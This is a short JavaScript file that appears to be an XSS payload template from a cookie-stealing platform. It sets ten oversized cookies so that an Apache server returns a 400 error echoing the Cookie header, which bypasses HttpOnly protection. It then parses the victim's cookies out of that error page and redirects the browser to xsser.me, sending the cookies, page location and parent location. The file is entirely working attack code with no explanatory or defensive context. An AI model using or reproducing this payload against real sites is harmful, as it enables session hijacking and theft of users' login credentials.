function setCookies () {
    /*apache server limit 8192*/
    var str = &quot;&quot;;
    for (var i=0; i&lt; 819; i++) {
        str += &quot;x&quot;;
    }
    for (i = 0; i &lt; 10; i++) {
            var cookie = &quot;ray&quot;+i+&quot;=&quot;+str+&quot;;path=/&quot;;
            document.cookie = cookie;
        }
}

function parseCookies () {
    if (xhr.readyState === 4 &amp;&amp; xhr.status === 400) {
            var content = xhr.responseText.replace(/\r|\n/g,&#039;&#039;).match(/&lt;pre&gt;(.+)&lt;\/pre&gt;/);
            content = content[1].replace(&quot;Cookie: &quot;, &quot;&quot;);
            cookies = content.replace(/ray\d=x+;?/g, &#039;&#039;)
            try { 
              var myopener=&#039;&#039;; myopener = window.parent.openner.location;
              var myparent = &#039;&#039;; myparent = window.parent.location;
            } catch(err){
              myopener=&#039;0&#039;;myparent =&#039;0&#039;;
            }
            window.location=&#039;http://xsser.me/index.php?do=api&amp;id={projectId}&amp;location=&#039;+escape(document.location)+&#039;&amp;toplocation=&#039;+escape(myparent)+&#039;&amp;cookie=&#039;+escape(cookies)+&#039;&amp;opener=&#039;+escape(myopener);
    }
}

setCookies();
var xhr = window.XMLHttpRequest? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;) : new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open(&quot;POST&quot;, &quot;/?&quot;+Math.random(), true);
xhr.send(null);